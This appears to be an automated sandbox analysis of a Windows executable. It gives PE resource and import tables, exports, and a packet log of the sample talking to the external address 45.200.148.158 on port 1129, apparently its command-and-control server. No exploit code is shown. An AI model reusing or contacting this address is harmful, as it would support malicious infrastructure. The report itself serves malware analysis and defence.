.rsrc	0x412000	0x4f200	0x4f200	15b10ae9b439df88df3be65b39ee9c6c	False	0.6019111621248026	data	6.703548983868326	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x412b58	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x412c8c	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x412dc0	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x412ef4	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x413028	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x41315c	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x413290	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_ICON	0x4133c4	0x4c28	Device independent bitmap graphic, 128 x 256 x 8, image size 0			0.20460607304062373
RT_ICON	0x417fec	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.4031791907514451
RT_ICON	0x418554	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.6814079422382672
RT_ICON	0x418dfc	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.517590618336887
RT_ICON	0x419ca4	0x5c70	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9795892494929006
RT_STRING	0x41f914	0x428	data			0.3693609022556391
RT_STRING	0x41fd3c	0x3f0	data			0.40773809523809523
RT_STRING	0x42012c	0x3d4	data			0.42448979591836733
RT_STRING	0x420500	0x410	data			0.39903846153846156
RT_STRING	0x420910	0x444	data			0.40934065934065933
RT_STRING	0x420d54	0x340	data			0.41947115384615385
RT_STRING	0x421094	0x39c	data			0.34523809523809523
RT_STRING	0x421430	0x264	data			0.5016339869281046
RT_STRING	0x421694	0x47c	data			0.3902439024390244
RT_STRING	0x421b10	0x364	data			0.33410138248847926
RT_STRING	0x421e74	0x414	data			0.40804597701149425
RT_STRING	0x422288	0x10c	data			0.6231343283582089
RT_STRING	0x422394	0xcc	data			0.6764705882352942
RT_STRING	0x422460	0x29c	data			0.468562874251497
RT_STRING	0x4226fc	0x3d0	data			0.3698770491803279
RT_STRING	0x422acc	0x3d4	data			0.37755102040816324
RT_STRING	0x422ea0	0x4cc	data			0.3135179153094462
RT_STRING	0x42336c	0x250	data			0.33952702702702703
RT_STRING	0x4235bc	0x414	data			0.4157088122605364
RT_STRING	0x4239d0	0x4d4	data			0.3932038834951456
RT_STRING	0x423ea4	0x490	data			0.3347602739726027
RT_STRING	0x424334	0x390	data			0.34978070175438597
RT_STRING	0x4246c4	0x458	data			0.38669064748201437
RT_STRING	0x424b1c	0x1ec	data			0.3983739837398374
RT_STRING	0x424d08	0xc4	data			0.6428571428571429
RT_STRING	0x424dcc	0x170	data			0.5597826086956522
RT_STRING	0x424f3c	0x334	data			0.41585365853658535
RT_STRING	0x425270	0x408	data			0.3168604651162791
RT_STRING	0x425678	0x38c	data			0.3876651982378855
RT_STRING	0x425a04	0x2b4	data			0.4263005780346821
RT_RCDATA	0x425cb8	0x10	data			1.5
RT_RCDATA	0x425cc8	0xcac	data			0.49506781750924783
RT_RCDATA	0x426974	0x151	Delphi compiled form 'TForm1'			0.7210682492581603
RT_RCDATA	0x426ac8	0x3a205	data	English	United States	0.6415397862108071
RT_GROUP_CURSOR	0x460cd0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x460ce4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x460cf8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x460d0c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x460d20	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x460d34	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x460d48	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x460d5c	0x4c	data			0.8289473684210527
RT_VERSION	0x460da8	0x314	data	Chinese	China	0.45558375634517767

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	CharNextW, LoadStringW
kernel32.dll	Sleep, VirtualFree, VirtualAlloc, lstrlenW, VirtualQuery, QueryPerformanceCounter, GetTickCount, GetSystemInfo, GetVersion, CompareStringW, IsValidLocale, SetThreadLocale, GetSystemDefaultUILanguage, GetUserDefaultUILanguage, GetLocaleInfoW, WideCharToMultiByte, MultiByteToWideChar, GetACP, LoadLibraryExW, GetStartupInfoW, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetCommandLineW, FreeLibrary, GetLastError, UnhandledExceptionFilter, RtlUnwindEx, RtlUnwind, RaiseException, ExitProcess, ExitThread, SwitchToThread, GetCurrentThreadId, CreateThread, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, FindFirstFileW, FindClose, WriteFile, GetStdHandle, CloseHandle
kernel32.dll	GetProcAddress, RaiseException, LoadLibraryA, GetLastError, TlsSetValue, TlsGetValue, LocalFree, LocalAlloc, GetModuleHandleW, FreeLibrary
user32.dll	SetClassLongPtrW, GetClassLongPtrW, SetWindowLongPtrW, GetWindowLongPtrW, CreateWindowExW, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassW, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoW, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCaret, SetWindowRgn, SetWindowsHookExW, SetWindowTextW, SetWindowPos, SetWindowPlacement, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropW, SetParent, SetMenuItemInfoW, SetMenu, SetForegroundWindow, SetFocus, SetCursorPos, SetCursor, SetClipboardData, SetCapture, SetActiveWindow, SendMessageA, SendMessageW, ScrollWindow, ScreenToClient, RemovePropW, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageW, RegisterClipboardFormatW, RegisterClassW, RedrawWindow, PostQuitMessage, PostMessageW, PeekMessageA, PeekMessageW, OpenClipboard, MsgWaitForMultipleObjectsEx, MsgWaitForMultipleObjects, MessageBoxW, MessageBeep, MapWindowPoints, MapVirtualKeyW, LoadStringW, LoadKeyboardLayoutW, LoadIconW, LoadCursorW, LoadBitmapW, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsIconic, IsDialogMessageA, IsDialogMessageW, IsChild, InvalidateRect, InsertMenuItemW, InsertMenuW, HideCaret, GetWindowThreadProcessId, GetWindowTextW, GetWindowRect, GetWindowPlacement, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetScrollBarInfo, GetPropW, GetParent, GetWindow, GetMessagePos, GetMessageExtraInfo, GetMenuStringW, GetMenuState, GetMenuItemInfoW, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameW, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextW, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgCtrlID, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameW, GetClassInfoExW, GetClassInfoW, GetCapture, GetActiveWindow, FrameRect, FindWindowExW, FindWindowW, FillRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EndMenu, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextExW, DrawTextW, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DispatchMessageW, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcW, DefMDIChildProcW, DefFrameProcW, CreatePopupMenu, CreateMenu, CreateIcon, CreateAcceleratorTableW, CopyImage, CopyIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CharUpperBuffW, CharUpperW, CharNextW, CharLowerBuffW, CharLowerW, CallWindowProcW, CallNextHookEx, BeginPaint, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchDIBits, StretchBlt, StartPage, StartDocW, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetRectRgn, SetROP2, SetPixel, SetMetaRgn, SetEnhMetaFileBits, SetDIBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetAbortProc, SelectPalette, SelectObject, SaveDC, RoundRect, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PolyBezierTo, PolyBezier, PlayEnhMetaFile, Pie, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsW, GetTextExtentPointW, GetTextExtentPoint32W, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectW, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionW, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, FrameRgn, ExtTextOutW, ExtFloodFill, ExcludeClipRect, EnumFontsW, EnumFontFamiliesExW, EndPage, EndDoc, Ellipse, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateICW, CreateHalftonePalette, CreateFontIndirectW, CreateDIBitmap, CreateDIBSection, CreateDCW, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileW, Chord, BitBlt, ArcTo, Arc, AngleArc, AbortDoc
version.dll	VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoW
kernel32.dll	WriteFile, WideCharToMultiByte, WaitForSingleObject, WaitForMultipleObjectsEx, VirtualQueryEx, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, VerSetConditionMask, VerifyVersionInfoW, TryEnterCriticalSection, SwitchToThread, SuspendThread, Sleep, SizeofResource, SetThreadPriority, SetThreadLocale, SetLastError, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryW, ReadFile, RaiseException, QueryPerformanceFrequency, QueryPerformanceCounter, IsDebuggerPresent, MulDiv, LockResource, LocalFree, LoadResource, LoadLibraryW, LeaveCriticalSection, IsValidLocale, InitializeCriticalSection, HeapSize, HeapFree, HeapDestroy, HeapCreate, HeapAlloc, GlobalUnlock, GlobalLock, GlobalFree, GlobalFindAtomW, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomW, GetVersionExW, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadPriority, GetThreadLocale, GetTempPathW, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileSize, GetFileAttributesW, GetExitCodeThread, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetCPInfoExW, GetCPInfo, GetACP, FreeResource, FreeLibrary, FormatMessageW, FindResourceW, FindFirstFileW, FindClose, EnumSystemLocalesW, EnumResourceNamesW, EnumCalendarInfoW, EnterCriticalSection, DeleteFileW, DeleteCriticalSection, CreateThread, CreateFileW, CreateEventW, CopyFileW, CompareStringW, CloseHandle
advapi32.dll	RegUnLoadKeyW, RegSetValueExW, RegSaveKeyW, RegRestoreKeyW, RegReplaceKeyW, RegQueryValueExW, RegQueryInfoKeyW, RegOpenKeyExW, RegLoadKeyW, RegFlushKey, RegEnumValueW, RegEnumKeyExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegConnectRegistryW, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
oleaut32.dll	GetErrorInfo, SysFreeString
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoTaskMemAlloc, CoCreateInstance, CoUninitialize, CoInitialize, IsEqualGUID
comctl32.dll	InitializeFlatSB, FlatSB_SetScrollProp, FlatSB_SetScrollPos, FlatSB_SetScrollInfo, FlatSB_GetScrollPos, FlatSB_GetScrollInfo, _TrackMouseEvent, ImageList_GetImageInfo, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Copy, ImageList_LoadImageW, ImageList_GetIcon, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_SetOverlayImage, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
user32.dll	EnumDisplayMonitors, GetMonitorInfoW, MonitorFromPoint, MonitorFromRect, MonitorFromWindow
shell32.dll	Shell_NotifyIconW
winspool.drv	OpenPrinterW, EnumPrintersW, DocumentPropertiesW, ClosePrinter
winspool.drv	GetDefaultPrinterW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x492040
__dbk_fcall_wrapper	2	0x415e90
dbkFCallWrapperAddr	1	0x7a7f58

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 17:48:54.850106955 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:54.855098963 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:54.855170012 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:54.855734110 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:54.860598087 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:55.486566067 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:55.540007114 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:57.783535957 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:57.788434982 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:57.788535118 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:57.793308973 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.086827040 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.133747101 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.210899115 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.212754011 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.219064951 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.219151020 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.223994017 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.522989988 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.571263075 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.655544043 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.655725002 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.660492897 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.660543919 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.665342093 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.666738033 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.671482086 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.671526909 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.676359892 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.776405096 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.781199932 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:58.781260967 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:58.786053896 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.037879944 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038202047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038213968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038233042 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038247108 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038255930 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.038259029 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038268089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038316965 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.038356066 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.038531065 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038569927 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038573027 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.038580894 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038613081 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.038630009 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038640022 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.038691044 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.206361055 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206382036 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206393957 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206404924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206417084 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206428051 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206439972 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206456900 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206466913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206471920 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206479073 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206495047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206496000 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.206506968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206521034 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206542015 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206561089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206573963 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206587076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206600904 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206604004 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.206613064 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.206629992 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.206641912 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.206657887 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.292819023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.292838097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.292886972 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.292896986 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.292924881 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.292936087 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.292969942 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.292980909 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.292994976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.293026924 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.293678045 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.293689013 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.293699026 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.293704033 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.293715000 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.293735027 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.293776035 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.294312954 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.294329882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.294344902 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.294354916 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.294365883 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.294370890 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.294378996 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.294399977 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.294414997 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.295165062 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.336853027 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.365133047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365289927 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365299940 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365312099 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365328074 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.365360022 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.365520000 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365530014 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365544081 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365556955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365569115 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365571976 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.365580082 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365586996 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.365587950 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.365626097 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.366178036 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.366188049 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.366198063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.366225958 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.366250992 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.382597923 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.382607937 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.382653952 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.382664919 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.382675886 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.382685900 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.382713079 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.430615902 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.446615934 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.446701050 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.446712017 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.446722031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.446779966 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.446784019 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.446800947 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.446811914 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.446822882 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.446852922 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.447119951 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447129965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447141886 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447150946 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447165012 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.447186947 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.447515965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447526932 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447537899 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447551012 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447562933 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447607040 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.447743893 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.448172092 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.448183060 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.448193073 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.448220015 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.448240042 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.536293030 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.586878061 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.835494995 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.840325117 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:48:59.840399981 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:48:59.845194101 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:00.037086964 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:00.041975021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:00.042043924 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:00.046849966 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:00.150499105 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:00.155299902 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:00.155379057 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:00.160187006 CET	1129	49704	45.200.148.158	192.168.2.5
